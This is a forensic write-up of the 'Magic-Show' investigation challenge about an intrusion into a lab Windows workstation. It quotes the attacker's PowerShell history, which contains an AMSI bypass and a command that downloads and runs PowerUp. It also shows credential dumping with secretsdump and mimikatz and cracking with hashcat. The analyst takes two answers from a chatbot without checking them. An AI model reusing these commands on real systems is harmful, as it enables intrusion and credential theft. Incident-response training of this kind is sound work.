

## OpSalwarKameez24-2: Magic-Show

### Sherlock Scenario

StoreD Technologies' System Administrators have observed several machines on the network unexpectedly rebooting to apply Windows updates during working hours. According to the organization's update policy, these updates should only occur overnight. As a member of StoreD Technologies' incident response team, your task is to investigate whether this unusual activity is linked to an ongoing security incident. System logs and a memory dump from one of the affected Windows 11 machines have been collected to assist in your investigation.

#### Task 1:

At What time did the compromised account first authenticate to the workstation? (UTC)

I searched for the IP 10.10.0.81 with event ID 4624 and it was the first event from the user arjun.patel.

The screenshot shows the Windows Event Viewer interface. The left pane displays a list of audit events. The right pane shows the properties of the selected event (ID 4624).

Type	Date	Time	Event	Source	Category	User	Computer
Audit Success	10/22/2024	8:25:59 AM	4624	Microsoft-Windows-Logon	N/A	N/A	Workstation9.stored.local
Audit Success	10/22/2024	8:26:01 AM	4624	Microsoft-Windows-Logon	N/A	N/A	Workstation9.stored.local
Audit Success	10/22/2024	2:53:56 PM	4624	Microsoft-Windows-Logon	N/A	N/A	Workstation9.stored.local
Audit Success	10/22/2024	2:53:58 PM	4624	Microsoft-Windows-Logon	N/A	N/A	Workstation9.stored.local
Audit Success	10/22/2024	2:53:59 PM	4624	Microsoft-Windows-Logon	N/A	N/A	Workstation9.stored.local
Audit Success	10/22/2024	2:53:59 PM	4624	Microsoft-Windows-Logon	N/A	N/A	Workstation9.stored.local
Audit Success	10/22/2024	3:05:03 PM	4624	Microsoft-Windows-Logon	N/A	N/A	Workstation9.stored.local
Audit Success	10/22/2024	3:05:05 PM	4624	Microsoft-Windows-Logon	N/A	N/A	Workstation9.stored.local
Audit Success	10/22/2024	3:05:07 PM	4624	Microsoft-Windows-Logon	N/A	N/A	Workstation9.stored.local
Audit Success	10/22/2024	3:05:07 PM	4624	Microsoft-Windows-Logon	N/A	N/A	Workstation9.stored.local
Audit Success	10/22/2024	3:23:01 PM	4624	Microsoft-Windows-Logon	N/A	N/A	Workstation9.stored.local
Audit Success	10/22/2024	3:23:03 PM	4624	Microsoft-Windows-Logon	N/A	N/A	Workstation9.stored.local
Audit Success	10/22/2024	3:23:04 PM	4624	Microsoft-Windows-Logon	N/A	N/A	Workstation9.stored.local
Audit Success	10/22/2024	3:23:04 PM	4624	Microsoft-Windows-Logon	N/A	N/A	Workstation9.stored.local
Audit Success	10/22/2024	3:25:00 PM	4624	Microsoft-Windows-Logon	N/A	N/A	Workstation9.stored.local
Audit Success	10/22/2024	3:25:01 PM	4624	Microsoft-Windows-Logon	N/A	N/A	Workstation9.stored.local
Audit Success	10/22/2024	3:25:03 PM	4624	Microsoft-Windows-Logon	N/A	N/A	Workstation9.stored.local
Audit Success	10/22/2024	3:25:03 PM	4624	Microsoft-Windows-Logon	N/A	N/A	Workstation9.stored.local
Audit Success	10/22/2024	3:37:15 PM	4624	Microsoft-Windows-Logon	N/A	N/A	Workstation9.stored.local
Audit Success	10/22/2024	3:37:15 PM	4624	Microsoft-Windows-Logon	N/A	N/A	Workstation9.stored.local
Audit Success	10/22/2024	3:37:17 PM	4624	Microsoft-Windows-Logon	N/A	N/A	Workstation9.stored.local
Audit Success	10/22/2024	4:04:53 PM	4624	Microsoft-Windows-Logon	N/A	N/A	Workstation9.stored.local
Audit Success	10/22/2024	4:04:54 PM	4624	Microsoft-Windows-Logon	N/A	N/A	Workstation9.stored.local
Audit Success	10/22/2024	4:04:56 PM	4624	Microsoft-Windows-Logon	N/A	N/A	Workstation9.stored.local
Audit Success	10/22/2024	4:04:56 PM	4624	Microsoft-Windows-Logon	N/A	N/A	Workstation9.stored.local

The right pane shows the properties of the selected event (ID 4624). The event is titled "Event Properties - File: C:\Users\Bubble\Desktop\Magic Show\CL...". The event is categorized as "Auditing". The event ID is 4624, version is 3, level is 0, task is 12544, opcode is 0, and keywords are 0x8020000000000000. The event was created on 2024-10-22T15:25:57. The event record ID is 3910. The event is correlated to the system time 2024-10-22T15:25:57. The event is correlated to the system time 2024-10-22T15:25:57. The event is correlated to the system time 2024-10-22T15:25:57.

Answer: 2024-10-22 15:25:57

#### Task 2:

What protocol did the threat actor use to access the workstation?

\*I answered this task first\*

While investigating the Security logs for event ID 4624 I saw several connections with logon type 10 (RDP) from IP 10.10.0.81

Answer: RDP

#### Task 3:

What logon type was logged when the threat actor accessed the workstation?

Same as previous task.

Answer: 10

#### Task 4:

What was the IP address of the workstation the threat actor pivoted through to access the internal network?

Same as task 2

Answer: 10.10.0.81

#### Task 5:

At what time did the threat actor first attempt to bypass a feature of Windows Defender? (UTC)

I searched the PowerShell operational and noticed the PowerUp script block so I went before the execution of the PowerUp and found the log

Event Properties - File C:\Users\Bubble\Desktop\Magic Show\... -

Standard Windows

**Guid** {a0c1853b-5c80-4b15-3766-3cf1c58f985a}

**EventID** 4104

**Version** 1

**Level** 3

**Task** 2

**Opcode** 15

**Keywords** 0x0

**TimeCreated** [SystemTime] 2024-10-22T21:49:29.436406Z

**EventRecordID** 18

**Correlation** [ActiveThreadId] {5b5642d0-2460-0001-aa14-...}

View Details

Answer: 2024-10-22 21:49:29

### Task 6:

What is the name of the tool the threat actor used to enumerate the workstation for misconfigurations?

While checking the user arjun.patel files, I saw the PowerShell history and noticed the tool

The screenshot shows a Notepad++ window with the following PowerShell script content:

```
1 whoami /all
2 $a = [Ref].Assembly.GetType()
3 ForEach($b in $a) {if ($b.Name -like "*iUtils") {$c = $b}}
4 $d = $c.GetFields('NonPublic,Static')
5 ForEach($e in $d) {if ($e.Name -like "*Failed") {$f = $e}}
6 $f.SetValue($null,$true)
7 IEX (New-Object Net.WebClient).DownloadString(https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1);Invoke-AllChecks
8 IEX (New-Object Net.WebClient).DownloadString(https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1);Invoke-AllChecks
```

Answer: PowerUp

### Task 7:

What is the name of the executable the threat actor used to elevate their privileges?

I checked the ShimCache from the path: SYSTEM\ControlSet00X\Control\Session Manager\AppCompatCache to find for any executables and I saw some suspicious file from Program Data

Session Manager	23	16	2024-1	Files\WindowsApps\Microsoft.WindowsNotepad.exe
AppGetSchemaExtensions	0	9	2024-1	C:\Users\Chupa\Desktop\dd.exe
AppCompatCache	3	0	2024-1	C:\WINDOWS\System32\LocationNotificationV
Configuration Manager	0	1	2024-1	C:\Program
DOS Devices	10	0	2022-0	Files\WindowsApps\Microsoft.SecHealthUI_100
Environment	15	0	2024-0	000000009 03e858d000 10000 0000000000
Executive	3	0	2024-1	C:\Users\Chupa\AppData\Local\Microsoft\On
FilenameOperations	0	0	2022-0	C:\Users\Chupa\AppData\Local\Microsoft\On
I/O System	1	0	2022-0	C:\Users\Chupa\AppData\Local\Microsoft\On
Kernel	4	1	2024-0	C:\Users\Chupa\AppData\Local\Microsoft\On
KnownDLLs	35	0	2022-0	C:\Users\Chupa\AppData\Local\Microsoft\On
Memory Management	16	2	2024-1	C:\Users\Chupa\AppData\Local\Microsoft\On
NamespacesSeparation	2	0	2022-0	C:\Users\Chupa\AppData\Local\Microsoft\On
Power	14	0	2024-1	C:\WINDOWS\System32\shdnt.exe
Quota System	0	0	2024-0	C:\ProgramData\Light.exe

Answer: light.exe

### Task 8:

At what time did the new user get created? (UTC)

I searched for event ID 4720 and saw that the user is Chhupa which I already seen some malicious activity from him.

Security.evtx System.evtx Windows PowerShell.evtx Microsoft-Windows-Windows Defender%4Operational.evtx Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx Microsoft-Windows-TerminalServices-PSExec%4Admin.evtx Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx

UTC-8:00

Type	Date	Time	Event	Source	Category	User	Computer
Audit Success	9/10/2024	10:55:08 AM	4720	Microsoft-Windows User Account Manager	N/A	DESKTOP-LUGBH00	
Audit Success	10/22/2024	2:52:24 PM	4720	Microsoft-Windows User Account Manager	N/A	Workstations stored	

Event Properties - File: C:\Users\Bubble\Desktop\Magic Show\Cl...

Standard XML

EventID: 4720  
Version: 0  
Level: 0  
Task: 13824  
Opcode: 0  
Keywords: 0x8020000000000000  
TimeCreated: [SystemTime] 2024-10-22T21:52:24.3527658Z  
EventRecordID: 4355  
Correlation: [ActivityID] {a4e8497a-24cc-0001-784a-e8a4cc24db01}

Friendly View XML View

Lookup in: Microsoft knowledge base Google for Event Close

Description

A user account was created.

Subject:

- Security ID: S-1-5-18
- Account Name: WORKSTATION09
- Account Domain: STORED
- Login ID: 0x3e7

New Account:

- Security ID: S-1-5-21-3718134815-1919426685-3059265731-1003
- Account Name: Chhupa
- Account Domain: WORKSTATION9

Attributes:

- SAM Account Name: Chhupa
- Display Name: <value not set>
- User Principal Name: <value not set>
- Home Directory: <value not set>
- Home Drive: <value not set>
- Script Path: <value not set>
- Profile Path: <value not set>
- User Workstations: <value not set>
- Password Last Set: <never>
- Account Expires: <never>
- Primary Group ID: 513
- Allowed To Delegate To: <value not set>
- Old UAC Value: 0x0
- New UAC Value: 0x15
- User Account Control: Account Disabled
- Password Not Required: Enabled
- Normal Account: Enabled
- User Parameters: <value not set>
- SID History: <value not set>
- Logon Hours: All

Additional Information:

- Privileges: <value not set>

Answer: 2024-10-22 21:52:24

Task 9:  
What was the SID of the user that created the new user?

Same as previous task.  
This SID is related to Local System account which is suspicious and might be related to the privilege escalation.

Answer: S-1-5-18

Task 10:  
What is the original name of the exploit binary the threat actor used to bypass several Windows security features?

I checked for the executables inside Amcache and found the dd.exe with the SHA 1  
b51575f6cd3a88b25149a23d8b44249f52a10953  
I checked it on VirusTotal and checked the names in the details tab.

SHA1	Is Os Component	Full Path
b51575f6cd3a88b25149a23d8b44249f52a10953	<input type="checkbox"/>	c:\users\chhupa\desktop\dd.exe

Cell contents

b51575f6cd3a88b25149a23d8b44249f52a10953

47 / 72  
Community Score

47/72 security vendors flagged this file as malicious

c204dc4c06d97a3df65a36ece3ead1800cdc74f295e23f9fd58ed545e7f0a2a7

dd.exe

peexe overlay 64bits detect-debug-environment

Names

- dd.exe
- windows\_downdate.exe
- 994aeadc-9a99-43fa-a28d-68263f8151d3

Answer: windows\_downdate.exe

Task 11:  
What time did the threat actor first run the exploit? (UTC)

I searched for dd.exe

Previous Run2	Previous Run3	Previous Run4	Previous Run5	Previous Run6
=	=	=	=	=
2024-10-22 22:34:16	2024-10-22 22:33:59	2024-10-22 22:34:00	2024-10-22 22:31:43	2024-10-22 22:31:44

Answer: 2024-10-22 22:31:43

Task 12:  
Which account owns the files manipulated by the exploit?

After checking with ChatGPT (Itamar)

Answer: TrustedInstaller

Task 13:  
The threat actor managed to exfiltrate some domain credentials, which Windows security feature did they bypass using the exploit?

I asked the Chat

The threat actor managed to exfiltrate some domain credentials, which Windows security feature did they bypass using the exploit?

If a threat actor successfully exfiltrated domain credentials, they likely bypassed **Credential Guard**, **LSA Protection**, or **Secure Boot** in Windows, depending on their method of exploitation. Here's an outline of these potential features they may have bypassed:

1. **Credential Guard:**

- Credential Guard uses virtualization-based security to isolate and protect credentials, including NTLM hashes and Kerberos tickets, from being accessed directly by malware, even with administrative privileges.
- If the attacker accessed domain credentials stored in the Local Security Authority Subsystem Service (LSASS) memory or extracted credential artifacts like NTLM hashes, it indicates they bypassed Credential Guard or exploited systems where Credential Guard was not active.

Answer: Credential Guard

Task 14:  
What is the NT hash of the domain administrator compromised by the Threat Actor?

I used secretsdump.py to dump the hashes

'\$DCC2\$10240#Administrator#c7968e652be74a05e6e5e48826625bc6'

```
FLARE-VM Sun 12/01/2024 6:28:18.31
C:\Users\FlareVM\Desktop\mimikatz-master>python secretsdump.py -sam SAM -system SYSTEM -security SECURITY local
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Target system bootKey: 0x1e8a03e19bbc007bccc084da7ce18217
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
ADMCRITLITykcaccount:504:aad3b435b51404eeaad3b435b51404ee:7ad1d5a08c045d1d576f142fb13275b4:::
falamos:1001:aad3b435b51404eeaad3b435b51404ee:cfa5525ee9414219e66279623e45c58:::
badman:1002:aad3b435b51404eeaad3b435b51404ee:e72afd782e3d5c456d0a113acc298519:::
Chrupa:1003:aad3b435b51404eeaad3b435b51404ee:58a478135a93ac3bf058a5ea0e8fdb71:::
[*] Dumping cached domain logon information (domain/username:hash)
STORED. LOCAL/Administrator:$DCC2$10240#Administrator#c7968e652be74a05e6e5e48826625bc6: (2024-10-22 15:23:27)
STORED. LOCAL/aarush.roy:$DCC2$10240#aarush.roy#c227f8df681cf3529377a7f22da715ca: (2024-10-22 15:24:56)
STORED. LOCAL/arjun.patel:$DCC2$10240#arjun.patel#01e759189bba40bd8679f0a235b2a39d: (2024-10-22 15:26:01)
[*] Dumping LSA Secrets
[*] SMACHINE.ACC
SMACHINE.ACC:plain_password_hex:360630043004b007a005200500022006b002000230033005a004a00260038006100360020002700260028003d00580038003c003d00730021005f0047005f006b00410020006b0059003d005b006a004f002d005f00230044007500cf007000680023002f0040002f005200500049002a003e0054004a00200038002c005b0071002e002900310079006f003a00
SMACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:a39284364474140992538f192a219773
[*] DPAPI SYSTEM
dpapi_machinekey:0xc93299b2213d09f2741fa125e0f409ab498acc43
dpapi_userkey:0xc831d3d4da0cf525f9b72b2fd850a5ad5c7ad77
[-] LSA hashes extraction failed: read length must be non-negative or -1
[*] Cleaning up...

FLARE-VM Sun 12/01/2024 6:28:22.46
C:\Users\FlareVM\Desktop\mimikatz-master>
```

Then I used haschat to crack it

hashcat -m2100 '\$DCC2\$10240#Administrator#c7968e652be74a05e6e5e48826625bc6'  
/usr/share/wordlists/rockyou.txt --force --potfile-disable

```
$DCC2$10240#administrator#c7968e652be74a05e6e5e48826625bc6:P@ssw0rd1

Session.....: hashcat
Status.....: Cracked
Hash.Mode.....: 2100 (Domain Cached Credentials 2 (DCC2), MS Cache 2)
Hash.Target.....: $DCC2$10240#administrator#c7968e652be74a05e6e5e48826625bc6
Time.Started.....: Sun Dec 1 09:45:25 2024, (59 secs)
Time.Estimated...: Sun Dec 1 09:46:24 2024, (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.....: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue.....: 1/1 (100.00%)
Speed.#1.....: 5461 H/s (8.95ms) @ Accel:64 Loops:1024 Thr:1 Vec:8
Recovered.....: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.....: 319488/14344385 (2.23%)
Rejected.....: 0/319488 (0.00%)
Restore.Point....: 318976/14344385 (2.22%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:9216-10239
Candidate.Engine.: Device Generator
Candidates.#1....: RAY123 -> LAWSON
Hardware.Mon.#1..: Util: 84%

Started: Sun Dec 1 09:44:43 2024
Stopped: Sun Dec 1 09:46:25 2024

root@kali:~# hashcat -m2100 $DCC2$10240#Administrator#c7968e652be74a05e6e5e48826625bc6' /usr/share/wordlists/rockyou.txt --force --potfile-disable
```

Then I converted the P@ssw0rd1 to NTLM

## NTLM Password Hasher

cross-browser testing tools

World's simplest online NTLM hash generator for web developers and programmers. Just paste your password in the form below, press the Calculate NTLM Hash button, and you'll get an NTLM hash. Press a button - get a hash. No ads, nonsense, or garbage.

Like 51K

Announcement: We just launched [DEVURLS](#) - a neat developer news aggregator. [Check it out!](#)

AE974876D974ABD805A989EBEAD86846

Calculate NTLM Hash Copy to clipboard Undo

Answer: AE974876D974ABD805A989EBEAD86846

Task 15:

What is the password set by the threat actor for their generated user?

I used Mimikatz to dump the SAM, SYSTEM and SECURITY hives with the command:

```
Isadump::sam /sam:"C:\Users\Bubble\Desktop\SAM" /system:"C:\Users\Bubble\Desktop\SYSTEM" /security:"C:\Users\Bubble\Desktop\SECURITY"
```

Then I searched for the user Chhupa to copy his NTLM hash and use it on CrackStation

```
RID : 000003eb (1003)
User : Chhupa
Hash NTLM: 58a478135a93ac3bf058a5ea0e8fdb71
lm - 0: 008db196944de0b42a7e266d94e14826
ntlm- 0: 58a478135a93ac3bf058a5ea0e8fdb71

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
Random Value : 83e21c2c8fe079fb28980a50bf35efe2

* Primary:Kerberos-Newer-Keys *
Default Salt : WORKSTATION9.STORED.LOCALChhupa
Default Iterations : 4096
Credentials
aes256_hmac (4096) : cb82bb90fdac8f63c5bb8392eceb7778558f4d5cc0c0e0fd853f95e858a96026
aes128_hmac (4096) : 539090e70014b19802e96a91e514293c
des_cbc_md5 (4096) : d6b62c43a2cdc17c

* Packages *
NTLM-Strong-NTOWF

* Primary:Kerberos *
Default Salt : WORKSTATION9.STORED.LOCALChhupa
Credentials
des_cbc_md5 : d6b62c43a2cdc17c

mimikatz # Isadump::sam /sam:"C:\Users\Bubble\Desktop\SAM" /system:"C:\Users\Bubble\Desktop\SYSTEM" /security:"C:\Users\Bubble\Desktop\SECURITY"
```

Found:

58a478135a93ac3bf058a5ea0e8fdb71:Password123

58a478135a93ac3bf058a5ea0e8fdb71

Answer: Password123